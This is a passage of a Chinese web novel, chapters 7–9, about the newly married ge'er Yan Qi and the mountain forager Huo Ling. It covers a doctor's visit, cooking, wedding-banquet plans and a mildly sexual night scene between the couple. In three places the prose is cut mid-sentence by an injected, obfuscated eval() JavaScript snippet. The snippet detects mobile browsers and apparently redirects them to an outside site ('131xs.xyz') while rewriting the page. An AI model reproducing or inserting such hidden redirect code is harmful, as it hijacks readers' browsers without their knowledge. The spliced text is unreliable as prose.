指尖搭上小哥儿的手腕,他凝神许久,轻颔首道:“前头开的那药不必再吃了,我给你换一副旁的,再吃上个半月瞧瞧。” 一听上来就是半月,颜祺试着问:“大夫,这药非得吃那么久么?” 他其实是想说自己没什么大毛病,马胡子却是笑道:“怎的,怕药苦?” 颜祺想说不是,却被霍凌抢白。 “良药苦口,都听马叔的。” “正是,不过我给你开的这方子还真不怎么苦。” 马胡子铺开纸落下几个墨字,劝颜祺道:“你别不把自己的身子当回事,你岁数不算太大,又是刚成亲,不晓得里头的利害。” 说到这里,他瞄一眼霍凌,明显意有所指。 “要紧记着,有些事和亲事一样都讲缘分,该来就来,急不得。” 颜祺一时没反应过来,霍凌也愣了一下,旋即明了马胡子怕是在说关于孩子的事。 在旁人瞧来,霍凌二十好几的才成亲,肯定是盼着早要孩子的,霍家两代单传,到霍峰、霍凌这辈好不容易得了两个男丁。 霍大膝下只一个闺女,霍二再不加把劲,岂不又得断了根儿。 偏又赶上颜祺这么个夫郎,眼下瘦巴巴一把,便是怀了,生时恐也要搭上半条命。 霍凌见不知内情的哥儿目露懵懂,不急着在外人面前解释,只道:“我都能等到这岁数才成亲,别的事上,要急早就急了。” “那就好说。” 马胡子高看霍凌一眼,抬手摸摸自己的两撇小胡子,“方子写成了,你们且等片刻,我去抓药来。” 过了一阵子,药还没配齐,马家门口又来辆牛车,风风火火将马胡子的媳妇接走了。 颜祺问过霍凌才知,马胡子的媳妇是个有家传本事的稳婆,两人也算凑到了一起去,一个管瞧病,一个管接生。 颜祺经此提醒,慢半拍地想明白马胡子刚刚说的话,眉头微拧,哥儿本就不如姑娘家好生怀,所以好些人家说亲不爱说哥儿,真出嫁了,彩礼也要少两三成。 自己的肚子若是不争气…… 霍凌忽而见小哥儿换了副忧心忡忡的神情,手还虚虚隔着衣裳搭在肚皮上,心思轻转,有所猜测。 “我刚刚和马胡子说的不是场面话,是我心里确实那么打算,而且……现在说那些还太早。” 颜祺摸了摸耳朵。 说的也是,他虽是第一次嫁人,但也知道单是睡在一处是怀不上孩子的。 何况还不是一个被窝。 人在外头,有些话不好再说详了,两人止了话头,肩挨肩坐在一条凳上等马胡子。 “就,就是这。” 坐着坐着,院外响起熟悉的人声,霍凌眉毛轻挑,抬头看去。 木门推开,先进来一个高个头的汉子,果然是林长岁。 7. 初上灶 “明哥儿?” “小祺哥!” 两个哥儿没等汉子们反应过来,就已各自小跑着迎上去,两双手紧紧攥在一处。 颜祺上下打量他,见他周身整洁,不像是受了委屈的,心里稍松,关切道:“你怎也来这处了,可是身上不舒服?” 肖明明小幅度地摇了摇头,用只有颜祺一个人能听清的声音道:“我好着,是……是长岁和他娘不放心,非说过来把个脉,也好安个心。” 肖明明这人性儿怯,遇见生人说话都不敢大些声,但认准了谁,便是掏心掏肺得好。 他和颜祺原是半路遇上的,老家不在一处,各都失了好些亲眷。 进城前颜祺还有亲娘在,肖明明是爹和小爹都没了,本还有个兄长,路上为帮家里人多抢一口吃食,教人生生打死。 两个哥儿这般相扶持着,一道挨过饿,遇过险,是共患难的情谊。 其实旁人不知,在双井屯时沈家本也想将肖明明要了去,言他虽是瘦小了些,但看着还算伶俐,能勉强当个杂使。 肖明明却记得颜祺半路说的,去那地主门户当奴才伺候人,未必有嫁个贫寒人家做正头夫郎强。 为奴为婢,人家说打便打说骂便骂,进了那道门,必是一辈子都在里头了,有个什么趣儿? 正巧同行有个哥儿本就与他俩不睦,故意同来选人的沈家管事妈妈说,颜祺身上带病,肖明明和他总凑在一处,保不齐身上也过了病气。 那管事妈妈一听果然就打发赵官媒,让赶紧把人带走,只领了先前选的那些个。 而今肖明明在林家待了几日,见林家人良善,只觉颜祺说得对,幸好自己听了他的,心中多是感激。 两个哥儿有日子没见,多的是话讲,只是没等说几句,马胡子就出来递药,收了药钱后又喊肖明明进去号脉。 霍凌知颜祺不舍就这么走了,便道:“咱们不赶时间,不妨等上他们片刻,一会儿取了灯油,正好结伴回村,路上也有个说话的人。” 颜祺一听果然面露欢喜。 等人时无事可做,霍凌便指着马家院子里晒的一些个药材,捡着自己认识的,同颜祺讲哪些能在白龙山上寻得。 赶山这个行当在颜祺老家是没有的,他们那边虽也有山,当中有像他爹那般的猎户,但到底不是高山老林,滋养不出那么多值钱的山货,养得起专门的赶山客。 不似白龙山,早听闻其中有三宝,人参、貂皮、乌拉草。 另还有别的说法,例如鹿茸、灵芝云云,都是听着就觉价贵的奢侈物。 他问霍凌可都见过,霍凌点了点头。 “乌拉草你已见过了,家家户户蓄来铺炕的就是,其余的也都经过手。” 只是即使得了这几样,卖给走商时价也压的低,即使知晓他们去关内能翻上好几番出手,照样没办法。 颜祺明白这道理,“也是难免,人家有路子,能走南闯北地贩货,自也要把路上的花销折进去。” 他同霍凌讲,出关的路上曾遇到过不少商队。 “有心善的,会舍我们些吃食,容我们跟在他们后面行路,也有那些下手驱赶的,遇上这种,我们便远远避开,不讨人嫌。” 霍凌发现自己很是听不得颜祺说这些,“以后有我在,没人能欺了你。” 颜祺本没这意思,一路上他经历得太多,早已学会了不往心里去,可霍凌冷不丁冒出这么一句,还是教他心狠狠跳了两记。 霍凌瞧小哥儿的耳朵倏地红了红,人也掩唇轻咳两声,一下子紧张起来。 “可是不舒服?” 好好的人怎么突然显了红,别是又发热了。 他抬起大手就要来试颜祺的额头,哥儿自是清楚自己不是发热,被他这两下子惹得哭笑不得,却又面皮薄,含糊道:“我没发热。” 他揉揉耳朵,扯起瞎话。 “我……我一向这样,多半是风吹的。” “怪我,好好的天儿在院子里吃什么风,该进屋去等的。” 霍凌扯了颜祺进屋,正巧赶上马胡子已为肖明明诊罢,开了几日的温补药材。 林长岁拿出钱袋往外数铜板,里面都是他前阵子趁农闲,在镇上做力工攒的工钱,也是赶了巧。 亏得有这笔进账,不然他还拿不出余钱带肖明明抓药。 离开麻儿村前,霍凌独自去王家油坊取了灯油,颜祺本想帮他提一壶,霍凌却避开他的手。 “你和明哥儿一处说话去,两壶油才多沉。” 颜祺听了他的话,和肖明明落后两个汉子一段距离,慢悠悠地往回走。 觑着前面人该是听不见,肖明明小声问颜祺,“小祺哥,霍大哥待你如何?” 颜祺就知他要问这个,八成已憋了好半天了,便道:“待我不差,不说别的,我先前病成那样,人家也没嫌,足可见是一家好心人。” 肖明明却说他有些害怕霍凌,“他看着冷煞煞的,出门还带刀。” 这样的汉子,总让人疑心是不是人前一个样,人后一个样。 “他在山中讨生活,带刀是习惯,就似那农户下地,不也得扛把锄、拎把锹。” 肖明明挎住他的胳膊,“你瞧,你已经向着他说话了。” 颜祺只是笑,想了想,把袖子往上拽了拽,给肖明明看那个缀在红绳上的小葫芦,有些不好意思道:“这是他送我的,说是看我夜里总被梦魇住,桃木能压惊。” 肖明明看过,实打实替他高兴。 “那他属实有心。” 颜祺反过来问对方在林家如何,肖明明望了眼林长岁的背影道:“他家日子是难了些,可只要能吃饱穿暖,于咱而言不就是神仙日子了,他和他娘也都好说话,不是那等磋磨人的。” 说到底,见面前彼此都怕对方过得不如意,而今互相一问,便都放下了心,说定日后常走动。 自郎中处回来,一家人简单吃了午食。 霍峰和叶素萍问了两句颜祺的病症,得知和上回说的一样,只是开了些调养身子的药,遂都宽慰颜祺安心。 收了碗筷,农家活计是做不完的,便散开来各忙各的。 霍凌扛了农具,跟着霍峰去地里。 因颜祺来家,霍凌多耽搁了几日没上山,放在往常,他只在家待两日,赶完集的次日一早就走人了。 正好趁多留的两天,帮霍峰分担些地头的事。 霍家现今有五亩地,一般是两亩种麦,两亩种高粱,余下一亩种苞米,当中属麦子最金贵,高粱其次,苞米收成最丰。 撇去粮税,五亩地的粮并不够一家人一年吃喝,多还要向外买粮,霍峰曾和霍凌算过账,道是家里再添上个三亩地,好年景里的粮食便能自给自足。 可好田地价钱不低,还不好离家里现在的田地太远,否则农忙时顾都顾不及,加上霍凌迟迟不成亲,霍峰不许他大动手里的银钱,需知要是正经娶亲,彩礼加上酒席,没个十几两甚至二十两,绝对办不下来。 买地的事就一直搁置着,已好些时候没说起过。 霍凌在地头穿着件单衣,袖子高挽,甩膀子干出一身汗,中途往地头歇息,他看着面前的田地,跟大哥说起自己想了几日的盘算。 “虽说祺哥儿面上过了门,我想着礼数还是不能省,合该挑个好日子摆酒,回头去给爹娘上坟,也有个说头。” 他想了想又道:“我现今手里有些银钱,待摆完酒点算点算,若再遇见好田地,不妨就趁早买了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691357|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于霍凌打算办席面,霍峰并不觉意外,就如在进山一事上不听劝,他这个二弟总有自己的坚持,认准了就一定要做。 “是该办个酒,一来好教人知道,咱家对祺哥儿满意,不差一场席面钱,二来说句实在话,过去几年里你因着村里红白两事,还有甚么百日宴满月酒的,没少往外掏礼钱,有个席面,也好往回收收,人情往来,就是麻烦在这儿。” 此话真不假,霍凌出手随礼从不吝啬,这等事本就是有来有往,讲究的人心里都有本账,若谁得了不差的随礼,日后回礼时给得寒酸,是要被人在背后说嘴的。 而摆酒办席的主家人把饭菜操持好了,让人不觉给的礼钱太亏,两方都能落个好口碑。 “那更得办,好好地办。” 霍凌脱下鞋子拍打一番里面的土,重新穿上后原地蹦一下站起,活动着肩膀道:“我明……算了,还是后日上山去,淘些山货,赶着十五那日下来,去大集上换些银钱好做席,再下几个兽套子,若能得些野物,也好给席面上添个菜。” “一说上山就来劲。” 霍峰闻言,忍不住摇头,跟着起了身。 关外天冷,踩着春末的关口春耕,五亩地让两个青壮汉子来翻,一日的工夫就翻完了。 当中还翻出来不少软趴趴的蚯蚓,带回去喂鸡使,回家后拿出来,惹得霍英大呼小叫。 听得动静,灶屋门开,颜祺端了两盏子水出来。 “大哥呢,你俩喝口水。” 霍凌接过,“大哥领着英子去后院拿蚯蚓喂鸡,他这碗先放着。” 接着边喝水边看颜祺身上系着件围裙,疑惑道:“今天晚间你治菜?” 恰好身后叶素萍抱了些新柴过来,刚刚烧火见灶屋里不多了,遂去柴房提了一捆,闻言道:“非跟我争,争了好半晌,本想让他继续歇着,前几日还病得厉害嘞,家里又不是没人,哪用上他操持饭食,。” 颜祺伸手去接柴,惭愧道:“我都好全了,哪里能成日在家吃闲饭,便是嫂子不嫌我懒笨,我自个儿心里也过不去。” 霍凌见此当即把盏子递回颜祺手里,帮着提柴进灶屋。 叶素萍在后头看颜祺一眼,朝他努嘴,“瞧老二多疼人。” 颜祺面薄,只是抿唇笑了笑,不肯说话。 进来后,霍凌见着锅台上已备好了几样菜,铁锅里蒸了干饭,一股子米香味。 菜是两碗泡在水里的干菜,一样是干土豆片子,一样是黄瓜钱,除此之外还有一碟子干豆腐。 这时节家里仍是吃冬日囤的菜,要么是地窖里的鲜菜,要么是入冬下雪前制的干菜。 “做个土豆干炒黄瓜钱,再酱烧个干豆腐。” 颜祺见霍凌看得入神,以为他饿了,“我加紧做,一刻钟就能吃上。” 说着的同时在作裙上抹了两下手,提了菜刀切干豆腐,“唰唰”几下,齐齐切作手指宽的条。 又自墙上挂的干辣椒扯了几个,和剥好的大蒜一起,一样切段,一样切片,完事后往砧板角落一抹,预备着稍后直接下锅。 一看这架势就知小哥儿不是胡说,过去在家里定是常在灶上忙活的。 叶素萍不知何时退了出去,霍凌自然而然地用脚勾来板凳,坐下帮着烧起火。 颜祺本想说不需要人打下手,过去家里大爷和爹没分家,连上爷奶在内十口人,两房轮着做饭,他一人做全家的也不在话下。 现在霍家只五张嘴,比起来简单得多。 但见霍凌埋头烧火,眸子被燃起的火光映亮,半点没有挪步的意思,他便没吭声,打心底里也乐得和霍凌呆在一处。 小两口搭着手,没花多久就将一顿饭做出来,香喷喷,热腾腾。 8. 抱着睡 虽只两样菜,却使家里几口子都赞不绝口,言说颜祺灶上手艺厉害,像那干豆腐,做出来和肉一般香,好生下饭。 直把颜祺夸得都要不好意思动筷。 “都是些家常菜,想是家里头一回尝,觉得新鲜。” “哪有的事,好吃就是好吃。” 叶素萍道:“我这人做饭手艺糙,盐要么多了要么少了,你大哥更是不成,做的饭狗都不吃。” 霍峰噎了一下,抬头道:“咋还有我的事?” 叶素萍斜他一眼,“你只说是不是,上回你做的菜大个儿闻都不闻。” “那是它常在山里自己打野味,嘴都养刁了,咱村里哪还有狗子吃得和它一般好,好些人都比不上,是吧大个儿?” 远处趴在院子里的大个儿耳朵抖了抖,不解地歪歪头。 他俩说得起劲,颜祺左看右看,有些个想笑,又不太敢。 霍凌见他端着碗不动嘴,主动给他夹了几筷子菜,凑近些小声道:“别管他俩,隔三差五就要斗嘴的。” 颜祺“嗯”了一声,往嘴里送了一口菜,又悄悄侧脸看霍凌,见汉子吃得喷香,头都不抬,唇角轻扬了扬。 做饭的人时常不多爱吃饭,见了旁人吃自己做的饭吃得香,那才是最高兴的。 吃罢,两人要一道收拾碗筷,霍峰不让。 “做饭的人不刷碗,我和你们嫂子来。” 霍英也跟着来回运碗碟,和叶素萍一道蹲在盆前洗刷,鼻尖上都挂了水珠,霍峰则在后面弯腰刷着铁锅,将脏水舀出来泼掉。 一家人热闹得很。 霍凌看了几眼,退回屋里,和颜祺说了后日要上山的事。 颜祺斜坐在炕上,刚拿出针线筐子一听这话,自然而然以为自己要跟着上山。 他忙放下手里东西问霍凌,“都要预备什么?我听嫂子说,从前都给你多做些干粮,不过我跟着你去,进了山也能现做。” 干粮备得再好,哪比得上现制出来的好味道。 没成想霍凌摇了摇头。 “你身子还没养好,这回先不用跟我去。” “我已是好了,还得好成什么样。” 颜祺瞧着有些不情愿,他是嫁给霍凌当夫郎的,不跟着汉子上山,在山下躲懒算什么事。 霍凌却是想好了,坚持道:“下次进山定带你,这回不成,别看入了春,山上比山下冷,雪都没化干净,到时再添个新症候,又得多吃几日的苦药。” 且安慰道:“我这回去不长,七八日就下来,初一那日的大集没去成,十五的总是要赶上。” 他没说的是,山上屋子就如霍峰所说,乱的不像话,他自己胡乱住着就罢,教大哥看见也不觉得臊,但让颜祺看见就不成了。 正好趁这回独自上去,先收拾一番,好歹凑出个能见人的样。 只是说完,见颜祺低头不语,手上摆弄着衣料子,扯皱了都没下两针,他心里怪过意不去,想了想,上前挨着哥儿坐下。 身边一下子多了个人,还是高壮汉子,颜祺只觉油灯都被罩得不亮了。 他不得不转了转身,把手中料子凑到更亮的地方,霍凌却压了下他的手。 “等白日做,这会儿这么暗,伤了眼睛多不值。” 颜祺见霍凌坚持,只得暂且把料子放下,针也插回线团里。 默了片刻,他问霍凌,“你真不打算带我去?” 霍凌让小哥儿用微微上抬的目光看着,险些嘴一松答应,幸好及时回过神。 “等下回。” 他道:“且你留在家里也闲不下。” 颜祺便当霍凌有旁的安排,认真听着,不料顺着往下说,说到了两人的喜酒上。 “实则明日就能走,但想了想还是挪到了后日,双井屯有个做木匠的,我早几年囤了几块老榆木的料,为着成亲时打家具使,这回想着先去定上一口箱,一只新柜儿,别回头来不及,再找人看个这月里的好日子。” 他说了好半晌,见小哥儿不言语,不禁道:“可是有哪里不妥当?” 颜祺赶紧摇头,“没。” 他垂眸道:“我只是没想着家里还要摆酒,得费不少银子吧?” 霍凌含笑,“一码归一码,这等事哪能因为花钱就不做了,一辈子就这一遭。” 是啊,一辈子就一遭。 试问哪个小哥儿出嫁前没想过自己成亲那日的模样,本还以为自己没这福气。 颜祺目光闪动,眸子亮了亮。 “依着我老家的习俗,新夫郎要给汉子做身新衣裳、一双新鞋。” 霍凌一算,这得做多少针线活,便道:“你先紧着自己的来,我的就不必了,年前嫂子帮我制了新衣,除却拜年那两日,再没穿过,和新的一样,到时系条红腰带照样用。” 颜祺数了数日子,如果是十八那天摆酒,好像确实来不及。 自己现今就身上一套衣裳,若是成亲那日穿,提前想洗一洗都没得换。 “那衣裳不做,鞋一定要做。” 他低头看一眼霍凌的大脚,比划了一下,暗惊了惊。 这鞋样子画出来,怕不是抵自己两个。 “大嫂那可有你的鞋样子?” 见霍凌点头,他道:“我明日就要了来,趁天晴先打个袼禙晒干,把鞋底子糊出来。” 再往下纳鞋底子也好,缝鞋帮子也好,就不挑时候,得空就能做。 颜祺和霍凌商量,“我把油灯挑亮些,你允我做上半个时辰,白日还有白日的活儿。” 上山不答应,总不能这事也不答应,霍凌退一步依了他,不过自取了针去挑灯芯。 待灯花一爆,屋内果然亮堂许多。 颜祺满意地开始穿针引线,一时也没留意霍凌又坐回原处,还在自己身后。 都说灯下看美人,颜祺眉眼不差,是个秀致清丽的,只是之前气色沉沉,掩了好些光彩。 这厢几日面上黄气褪了些,唇上见了血色,让灯火一烘,惹人心荡。 以前饭后,霍凌要么去院里逗狗,要么找些别的事打发时间,觉得困倦了才上床睡觉。 今天见小哥儿在炕上忙碌,自己竟也不想离太远,思来想去,他拿起针线筐里斜插的木梳。 “我帮你篦篦头发。” 此事说来,颜祺怪羞耻。 他来霍家时头发里不少虱子,亏得第一晚包头发睡的,没沾上炕,次日赶着洗头发也是为这个。 叶素萍还特地为此去村里别家打听,要来包药粉,给他洒在发根上,捂了好一阵,再过遍水后水面上便飘了好些死虫。 除此之外还剪了剪发尾,把一些个打不开的死结连带枯发都剪去,使一块布包好烧了。 给药的那家姓孙,他家夫郎娘家有人采药为生,懂些草药皮毛,说这药粉好用得很,一次就能杀净。 颜祺却不放心,这几日还是每日拿梳子细细篦两回。 霍凌知他这习惯,既然手上占着,不如自己来。 颜祺不好言拒,夫夫两个,说不让反而显生疏,故而微低了头,由着霍凌摆弄。 霍凌拿了梳,解了颜祺束发的发带,自头顶往下一片片地篦,及腰的长发梳半天方能梳到头。 小哥儿的头发还是有些糙,一不小心就会扯到,梳不通。 霍凌小心着,还是扯到了几次,听到小哥儿吃痛的气音,他过意不去,笨拙地搓了搓那处发顶,惹得颜祺觉得痒痒的。 “改日货郎过咱们村,我记得他那有香发油卖,大嫂就有,你若遇见了也买上,长久用着,头发黑亮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691358|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说这个他还想不起来,颜祺手里没有银钱,自己要是上了山,小哥儿想添点什么都没办法。 他放下梳,去自己带下山的褡裢里摸了摸,掏出一串铜板,也没细数,大概有个五十几文。 “这钱你拿着。” 颜祺被霍凌塞了一把钱,觉得手心里沉甸甸。 “这也太多了。” 过去在家他都没经手过这么多钱,家里头没多富裕,钱财自都在娘的钱匣子里锁着。 唯有个七八文,偶尔在货郎处买根头绳,两块饴糖都很高兴。 “哪里算多,一小瓶香发油都得二十文。” 霍凌道:“我大宗的银钱都在山上存着,带下来的不多。” 言下之意,他还觉得给少了。 颜祺拿着钱没处放,不过这事也容易,拿了裁衣剩下的布头,没多久就缝出个荷包,翻过来后针脚藏了进去,再在开口处穿上细布条,一收口就成了。 以前霍凌从没认真看过别人做针线,颜祺手上灵巧,倒让他看得移不开眼。 “褡裢口袋大,有时觉得钱放在里头不太稳当,好似还是添个荷包更好用。” 颜祺听他如此说,没多犹豫,忙把刚缝好的荷包递出去。 “你先用这个,我再制一个自己用,反正这银钱我也不带出门。” 又抿了抿唇道:“这个图快,做的不咋好看,你别嫌。” “哪有,我觉得挺好,和你新衫子一个色。” 霍凌像是怕颜祺反悔似的,一把接过来,荷包在颜祺手里显得不小,在他掌里却衬得玲珑。 说实话,铜板多了就放不下,也就只得塞上五六十文,可霍凌还是很心喜。 “那我就用着了。” 荷包到手,头发也篦了个透,霍凌手劲大一些,把小哥儿的头皮梳得酥麻,做了半晌针线后觉出困意来。 乡下人多是鸡叫两三遍,天刚亮即起,夜里为了省灯油,不会太晚才睡。 霍凌瞅着颜祺眯起眼,打了个呵欠,牵了人出去兑水洗漱。 两人对着用刷牙子蘸盐洁了牙,分着用一盆水打湿布巾抹了脸,末了端着盆子进屋烫脚。 水里还撒了老姜片,为的是驱寒,因此只有颜祺用。 水偏热些,把姜气催发出来,熏的一屋都是,也确实有用,泡完之后浑身都热乎乎的。 不单颜祺舒服,霍凌也被这份热气儿勾了去。 说句实话,刚刚篦头发时他就已觉得火气朝下走,亏得衣服宽敞才没显露。 这会儿熄灯后上炕,面朝上躺了没多久,他终究一个翻身,伸臂将枕边的哥儿揽住。 颜祺整个人绷得不敢动,还是霍凌察觉到他的紧张,抬手在他后心慢慢安抚着。 哥儿瘦弱,一摸一把硬邦邦的排骨架,只怕一使劲就碎,霍凌小心着,遵循本能,慢慢地把人朝怀里带。 深知有些事早晚都要来,颜祺默默呼了两口气,塌下身子,顺着霍凌的动作,钻进身旁暖烘烘的被窝,头顶轻轻贴上汉子的肩头。 这下换成霍凌僵了下,他还在思虑怎么跟小哥儿说撤去一床被,还没说出口,被子里已多了个人。 想来也知颜祺误会了。 他开口,动静有些沙哑。 “我就是……想和你挨近些,暂且不做那档事。” 不过要说忍,血气方刚,素了多年的汉子,搂了夫郎在怀,也确实有些忍不住。 要是没反应才该去看医了。 颜祺没经过人事,初时还没想清,直到有些地方实是无法忽视,渐渐有所悟,羞得面上发烫,像刚出锅的馒头。 偏是此时,霍凌又往前近了些,多高大一汉子,愣是将下巴埋入颜祺的颈窝,用隐忍的音调,哑着嗓低低说了句什么。 9. 亲一口 枕间气息烫人。 颜祺稍稍偏过头,霍凌方才说的话犹在耳畔。 “小祺……你帮帮我。” 他不解霍凌刚刚说的“帮忙”是怎么一回事,硬着头皮小声问:“怎……怎么帮?” 霍凌忍得发胀,躬了躬身,在被子里摸到哥儿的手,轻轻扯了过来。 两相触碰上时,颜祺倒吸一口气,眼珠儿都睁圆,他羞得使另一只手捂住嘴,任由霍凌引着动作。 半点不敢仔细想棉被下盖住的地方正在发生什么。 …… 两回过后,连用了两条布巾才擦净,霍凌从那等上头的状态中回过神,面皮也泛起烫来,将被子掀开些朝外散味。 “我去打些水,洗洗再睡。” 颜祺在霍凌出门后又保持着原有的动作好半晌,才稍稍动了动腿和腰,只觉浑身都酸了。 原来夫夫的床上事还能这般做,他抬手想要揉揉脸,又想及刚刚手心里沾了什么,尴尬地放了回去。 霍凌没多久就提了些水进来,让小哥儿洗洗手。 颜祺蹲在地上搓了几下,起身时见霍凌弯着腰举着灯,仔细翻看床上被褥,四处摸了一遍方罢休。 头一回干这等事,两人都有些不敢看对方似的,然而再上床,却不约而同只盖了一床被,将另一床暂推到了靠墙的地方去。 虽不是来真章,可霍凌好歹是得了顿饱,搂着夫郎闭眼时都扬着嘴角。 而颜祺也是真累了,一是紧张,二是手腕子酸,没多久也睡深。 天亮起时,霍凌第一个睁了眼。 昨晚睡得实在,半个梦没做,他想翻个身,发现被角另一侧让颜祺给压住。 而小哥儿还没醒来,侧对着他阖眼躺着,或许是沾了霍凌的火气,脸颊难得红扑扑的。 霍凌看着心喜,靠近前去在小哥儿面上亲了一记,这辈子头一回干这事,自觉轻得很,没成想还是把人给吵醒了。 “……天亮了?” 人刚睡醒时都得迟钝一阵,颜祺人是醒了,却好像没发现刚刚霍凌做了什么,他揉着眼睛欲起身。 “今日得给你做干粮,我早些起,正好烧了水,等哥嫂和英子起来一道用。” 霍凌瞧了眼天色,估计才卯时中,月亮怕还在天上印着影子,倒有些懊悔把哥儿吵醒。 “还早着,再睡会儿。” “你睡着,我这人一睁眼就睡不着了。” “那我跟你一起。” 夫郎都起了,自己独自赖床也没什么意思。 两人各穿了衣,套上鞋出屋。 别看灶屋连着卧房,但一开门还是有轻薄的寒意涌进,因侧耳听着霍峰一家子还没醒,两人做事皆轻手轻脚。 倒出洗漱用的水,换进陶罐里搁在矮炉温着,颜祺另舀了两碗苞米碴煮粥做早食。 苞米价廉,是农家常吃的。 在霍家几日他大概摸清了霍家早食惯常吃什么,多是一人一碗粥米,就着酱菜下肚,有滋味还顶饱。 此外还会煮两个鸡蛋,原本是一个的,只给霍英吃,现下颜祺来了,道他要补身子,所以又添了一个。 只是先前都是叶素萍煮蛋,轮到颜祺,他不好意思多拿一个给自己吃,天尚未回暖,母鸡下蛋不多,蛋随着价昂,一个怕是不止两三文。 还是霍凌路过看他只捡一个蛋洗了洗进锅,让他多添一个。 “不用不好意思,鸡蛋虽是大嫂养的鸡下的,但咱家也往公中交了用度。” “其实也不用天天吃,英子岁数小还在长个头,我吃不吃都一样。” “哪能一样,家里不是成日沾荤腥,要连蛋都吃不上,你啥时候才能长些肉。” 霍凌索性自己上手,多放了个蛋在笼屉里,这般下面粥煮好了,上面的鸡蛋也焖熟。 独睡在柴屋里的大个儿也早醒了,听得主人出门的声响,慢悠悠地踱步出来抖抖毛,伸了个长懒腰。 霍凌给他涮了涮水盆,又在吃饭的碗里掰了几个苞米面窝头。 “你俩怎起这么早?” 霍峰头一个系着腰带出屋,哈欠打得往外窜泪花,他狐疑道:“我没记错吧,老二不是明日才上山?” “是明日,我勤快些你还不乐意?” 霍峰“啧”一声,绕过他和颜祺问了声“早”,自去门口蹲着洗漱。 颜祺发现霍家使人呆得舒服,也有这原因在,霍家两兄弟岁数差得不算太大,相处自在,霍凌这个当弟弟的总有些没大没小。 因此即使各自娶了亲,亦不改已有的亲疏。 填饱了肚,灶屋里的粥香改做药味,苦巴巴的散去好远。 霍凌举着饴糖看小哥儿喝药,喝完后赶紧把糖递过去,往舌上一含,浓烈的甜压过复杂的酸苦,颜祺皱着的眉头很快松开。 “你跟不跟我去双井屯?” 霍凌收拾着褡裢,把昨晚从小哥儿处得的荷包里填上铜板,直接拴在腰带上,保准谁打对面过来,第一眼就能望见。 “我借村长家牛车运木头去,你坐车上也不累。” 颜祺犹豫一瞬道:“还是不去了,我在家做活。” 除了给霍凌备干粮,他还想加紧把一身里衣裁出来,昨晚他洗手时还仔细看了衣裳,幸好没弄上。 现下只一身大嫂的旧衣,弄脏了不说没得换,单是为这事洗了晾出去…… 他怕是要觉得没脸见人了。 “也好,外面不算暖和,不去就不去了。” 霍凌没强求,提了一罐子山上掏来的野蜂蜜,还有大嫂给的十个咸鸭蛋,往周家去借牛车,顺道谢过周成祖前些日子为着他亲事操心。 周成祖本不肯收东西,霍凌仗着对他家熟,直接进灶屋把东西搁下。 爷俩在屋里坐了片刻,吃了盏子茶水,听闻霍凌开始为喜宴预备,周成祖不免语重心长地叮嘱半天。 “往后好好过日子,有那银钱莫要大手脚地花销,攒着日后买地、盖屋,别嫌你老叔啰嗦,纵然你一时不下山,往后有了孩子,总保不齐孩子还乐意在山上跑,就像当初你爹娘,也是为着你兄弟两个下山安家。” “老叔说的是,我都记下了。” 周成祖等了两息,没等到霍凌顶罪,颇不习惯似的。 “真是有了夫郎便不一样,先前咋不见你这么听劝?” 村长媳妇陈氏在一旁陪坐,闻言弯了弯眼,笑道:“这还用说,定是二小子与颜家哥儿相处得好。要不人家肯提了东西,来谢你这个保媒人。” 周成祖愈发开怀,让霍凌去后院赶了牛车去用。 回家霍家兄弟俩把木头挑出来,搁在车板上用麻绳拴稳,颜祺跟着牛车,送霍凌到门口。 大个儿竖着尾巴跟过来,“呜呜”叫个不停,看样子也想出门。 颜祺摸了摸它的头顶,“你要不要带大个儿去?看它急得直哼哼。” “不带了,外村见了它定是要怕,遇上那事多的纠缠不休,好生恼人。” 霍凌随手捡起滚到门边的一个草编球,信手往远处抛,大个儿脑袋随着球转,高高蹦起追过去。 “你没事时陪它耍一耍,它得了乐子就不惦记出门。” 颜祺应下,向外追了几步,霍凌赶着车走出丈远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691359|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到小哥儿还在原地,他不禁笑起来,挥手让他回家去。 …… “霍二!霍二!” 刚出了村子没一刻钟,霍凌在村路上遇着一架驴车,后面坐了个人。 他闻声抬眼去看,见对方正是少时在村里和自己交好的杨家汉子杨庆生。 杨家祖上也是关内逃难来的,有个家传的制伞手艺,先时是在村里自做了,送去给城中伞行卖。 后来到杨庆生老爹这辈,攒够了银钱在镇上赁了个铺面,待杨庆生能当家了,就把铺子交给他打理,自个儿回乡下养老。 所以杨庆生如今多在镇上,不常回村,加上霍凌又居于山中,两人上回见面还是正月串门子拜年时。 这杨庆生见了霍凌,直接把车赶停,往前倾着身道:“拉着木头,你这是往哪去?” 